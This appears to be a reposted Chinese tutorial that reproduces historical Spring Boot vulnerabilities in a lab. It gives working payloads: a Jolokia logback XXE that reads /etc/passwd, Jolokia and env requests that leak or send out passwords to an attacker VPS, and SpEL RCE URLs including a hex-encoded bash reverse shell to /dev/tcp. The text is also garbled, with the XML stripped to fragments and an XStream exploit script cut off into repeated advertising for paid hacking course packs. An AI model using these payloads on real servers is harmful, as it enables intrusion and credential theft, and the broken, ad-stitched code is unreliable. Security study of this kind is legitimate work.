SpringBoot历史漏洞复现

2024-07-11 1007阅读

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

SpringBoot历史漏洞复现

SpringBoot历史漏洞复现

SpringBoot历史漏洞复现

SpringBoot历史漏洞复现

SpringBoot历史漏洞复现

SpringBoot历史漏洞复现

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)

SpringBoot历史漏洞复现

正文

python .\SB-Actuator.py -u http://192.168.42.132:8090

![请添加图片描述](https://img-blog.csdnimg.cn/f5c1d2ae180f4ababdab13fb8500f6e1.png)
> 
> 2.访问网站的/jolokia/list 目录,查找是否存在logback 库提供的reloadByURL方法,如果有,那就证明可利用该漏洞。
> 
> 
> 
![请添加图片描述](https://img-blog.csdnimg.cn/ca5c742b1572469c9ede0ee0772fed45.png)
###### 复现过程
> 
> 1.如果找到存在reloadByURL方法,就在攻击机上创建一个logback.xml,一个ian.dtd文件。
> 
> 
> 

//logback.xml

%remote;%int;]>

&trick;

 

//ian.dtd

> 
> 2.创建完成后,在他们两个的当前目录开启http服务,用于后续请求。
> 
> 
> 
> 
> 3.访问网站,构造payload对攻击机上的文件进行请求。
> 
> 
> 

http://192.168.42.132:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.42.132:8000!/logback.xml

> 
> 4.攻击机上发现文件被访问到,然后在网页上可看见/etc/passwd文件的内容。(ian.dtd 内还可以修改为其他攻击者想访问到的文件)
> 
> 
> 
![请添加图片描述](https://img-blog.csdnimg.cn/f917e2f618764cc0b4a68a3b06b63770.png)
/etc/password文件的内容
![请添加图片描述](https://img-blog.csdnimg.cn/64fa194bbf2b4b74b1df6698d2cfe3f5.png)
##### 漏洞利用-env敏感信息脱星
###### 复现过程(方法一)
利用条件:目标网站存在/jolokia 或者 /actuator/jolokia接口  
 目标使用了jolokia-core以来
> 
> 1.访问http://ip:8090/env 可以查看到直接泄露的环境变量、内网地址、配置中的用户名等信息,也有可能暴露明文密码。
> 
> 
> 
![请添加图片描述](https://img-blog.csdnimg.cn/d64d9b6450704ccc80ab277f857b54db.png)
> 
> 2.找到属性名,使用bp抓包,抓/jolokia的包,发送到重发模块,修改包为post请求,把传输的变量改json,然后加上下面的poc,重放这个包,明文值结果包含 在 response 数据包中的 value 键中。  
>  注意:每个1.x 版本和2.x 版本不同。
> 
> 
> 

//spring 1.x

{

“mbean”:

“org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager”,

“operation”: “getProperty”,

“type”: “EXEC”,

“arguments”: [“security.user.password”],

}

//spring 2.x

{

“mbean”:

“org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager”,

“operation”: “getProperty”,

“type”: “EXEC”,

“arguments”: [“security.user.password”],

}

![请添加图片描述](https://img-blog.csdnimg.cn/389e280c523144318d8917696e5ff214.png)
![请添加图片描述](https://img-blog.csdnimg.cn/780d5df14acd43bdaf0c27bc79e15701.png)
###### 复现过程(方法二)
**利用的条件:**  
 可以 GET 请求目标网站的 /env  
 可以 POST 请求目标网站的 /env  
 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)  
 目标使用了 spring-cloud-starter-netflix-eureka-client 依赖  
 目标可以请求攻击者的服务器(请求可出外网)
> 
> 1.先用Bp去看 env接口是否可以get post 请求成功,返回状态码为成功,然后再测试/refresh 接口 的post请求,都可以的话,就可以尝试进行攻击。
> 
> 
> 
> 
> 2.使用bp抓访问/env的包,构造攻击请求,重发过去。版本不同,poc也不同
> 
> 
> 

//1.x

POST /env

Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip

//spring 2.x

POST /actuator/env

Content-Type: application/json

{“name”:“eureka.client.serviceUrl.defaultZone”,“value”:“http://value:${security. user.password}@your-vps-ip”}

![请添加图片描述](https://img-blog.csdnimg.cn/da3d48d6796a4357a09ca77e22106c45.png)
> 
> 3.监听80端口,然后bp进行发送后,访问/refresh,进行刷新,会直接监听得到信息,然后进行base64解码就可以看见密码。
> 
> 
> 
![请添加图片描述](https://img-blog.csdnimg.cn/afe4a4c20ff645c084915a724aa5ed1d.png)
![请添加图片描述](https://img-blog.csdnimg.cn/50d765d8b4d34138a37c0b7f6ce2dda9.png)
##### 远程代码执行
###### whitelabel error page SpEL RCE
###### 环境搭建
https://github.com/LandGrey/SpringBootVulExploit  
 下载下来后,进入SpringBootVulExploit/repository/springboot-spel-rce/src/main/resources/application.properties 去修改,然后编译运行,然后访问9091端口,会看见搭建成功的默认的404页面。

server.port=9091

#server.address=127.0.0.1

server.address=0.0.0.0

//编译启动

mvn spring-boot:run

![请添加图片描述](https://img-blog.csdnimg.cn/e10318679d604e78969a41c5c6a7fa84.png)
![请添加图片描述](https://img-blog.csdnimg.cn/cca960cf0a514d81bd913214568c77d8.png)
###### 利用条件
spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0  
 至少知道一个触发 springboot 默认错误页面的接口及参数名
###### 漏洞原理
1. spring boot **处理参数值**出错,流程进 入 org.springframework.util.PropertyPlaceholderHelper 类中
2. 此时 URL 中的参数值会用 **parseStringValue**方法进行递归解析
3. 其中 ${} 包围的内容都会 被org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类 的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞
###### 复现过程
> 
> 1.找到一个正常传参处,比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page ,则后 续 payload 都将会在参数 id 处尝试。
> 
> 
> 
> 
> 2.执行 SpEL 表达式。输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基 本可以确定目标存在 SpEL 表达式注入漏洞。
> 
> 
> 
![请添加图片描述](https://img-blog.csdnimg.cn/0b29a10c1ef24d80b1f73d1a87155ba5.png)
> 
> 3.由字符串格式转换成 0x\*\* java 字节形式,方便执行任意代码。先将字符的命令转换成字节的,然后payload通过Java的**getruntime().exec**命令去执行 new String (new byte[])转成的字符命令。
> 
> 
> 

//转字节的脚本

coding: utf-8

result = “”

target = ‘touch /tmp/mingy’

for x in target:

result += hex(ord(x)) + “,”

print(result.rstrip(‘,’))

//执行payload

http://127.0.0.1:9091/article? id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[] {0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x6d,0x69,0x6e,0x67,0x79 }))}

![请添加图片描述](https://img-blog.csdnimg.cn/453046684c614b0f81741a6b5dd164a1.png)
利用touch命令在tmp目录下创建mingy的文件
![请添加图片描述](https://img-blog.csdnimg.cn/2d7f03a3b8ed4ab9a29081415af65a99.png)
> 
> 2.执行反弹shell 的操作,先转成base64 的形式,然后再转成0x 字节的形式,访问payload,在攻击机上开启监听6666端口,执行后,可以看到返回的shell,直接在其目录下了。
> 
> 
> 

//反弹Shell

bash -i >& /dev/tcp/192.168.42.138/6666 0>&1

//转化的格式base

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}

//payload

http://192.168.42.132:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[] {0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4f,0x54,0x49,0x75,0x4d,0x54,0x59,0x34,0x4c,0x6a,0x51,0x79,0x4c,0x6a,0x45,0x7a,0x4f,0x43,0x38,0x32,0x4e,0x6a,0x59,0x32,0x49,0x44,0x41,0x2b,0x4a,0x6a,0x45,0x3d,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d}))}

![请添加图片描述](https://img-blog.csdnimg.cn/a2698880c1dc4c9c81ea47657269f4d9.png)
![请添加图片描述](https://img-blog.csdnimg.cn/1dc933b0bce04f3ea1f6fc74aac04686.png)
###### eureka xstream deserialization RCE
###### 环境搭建
修改 SpringBootVulExploit/repository/springboot-eureka-xstreamrce/src/main/resources/application.properties

erver.port=9093

#server.address=127.0.0.1

server.address=0.0.0.0

mvn spring-boot:run

![请添加图片描述](https://img-blog.csdnimg.cn/e753810797684aa08c6dda12de8d9a19.png)
搭建成功
![请添加图片描述](https://img-blog.csdnimg.cn/049194c2789f409cb8bf99f292704e29.png)
###### 利用条件
可以 POST 请求目标网站的 /env 接口设置属性  
 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starteractuator 依赖)  
 目标使用的 eureka-client  
> 1.架设响应恶意 XStream payload 的网站  
>  提供一个依赖 Flask 并符合要求的 python 脚本示例,作用是利用目标 Linux 机器上自带的 python 来反 弹shell。 使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址 和 端口号。
> 
> 
> 
> 
> 2.在脚本的command中输入base64 转码的shell,然后在攻击机上搭建恶意网站,利用python3 server.py 开启。
> 
> 
> 

//反弹shell脚本

#!/usr/bin/env python

coding: utf-8

-- Author: LandGrey --

from flask import Flask, Response

app = Flask(name)

@app.route(‘/’, defaults={‘path’: ‘’})

@app.route(‘/path:path’, methods=[‘GET’, ‘POST’])

def catch_all(path):

xml = “”"

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

SpringBoot历史漏洞复现

同时每个成长路线对应的板块都有配套的视频提供:

SpringBoot历史漏洞复现

因篇幅有限,仅展示部分资料

网络安全面试题

SpringBoot历史漏洞复现

绿盟护网行动

SpringBoot历史漏洞复现

还有大家最喜欢的黑客技术

SpringBoot历史漏洞复现

网络安全源码合集+工具包

SpringBoot历史漏洞复现

SpringBoot历史漏洞复现

所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)

SpringBoot历史漏洞复现

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

//img-blog.csdnimg.cn/img_convert/5072ce807750c7ec721c2501c29cb7d5.png)

SpringBoot历史漏洞复现

所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)

[外链图片转存中…(img-yTSj4IpJ-1713175561720)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

VPS购买请点击我

免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理! 图片声明:本站部分配图来自人工智能系统AI生成,觅知网授权图片,PxHere摄影无版权图库和百度,360,搜狗等多加搜索引擎自动关键词搜索配图,如有侵权的图片,请第一时间联系我们,邮箱:ciyunidc@ciyunshuju.com。本站只作为美观性配图使用,无任何非法侵犯第三方意图,一切解释权归图片著作权方,本站不承担任何责任。如有恶意碰瓷者,必当奉陪到底严惩不贷!

目录[+]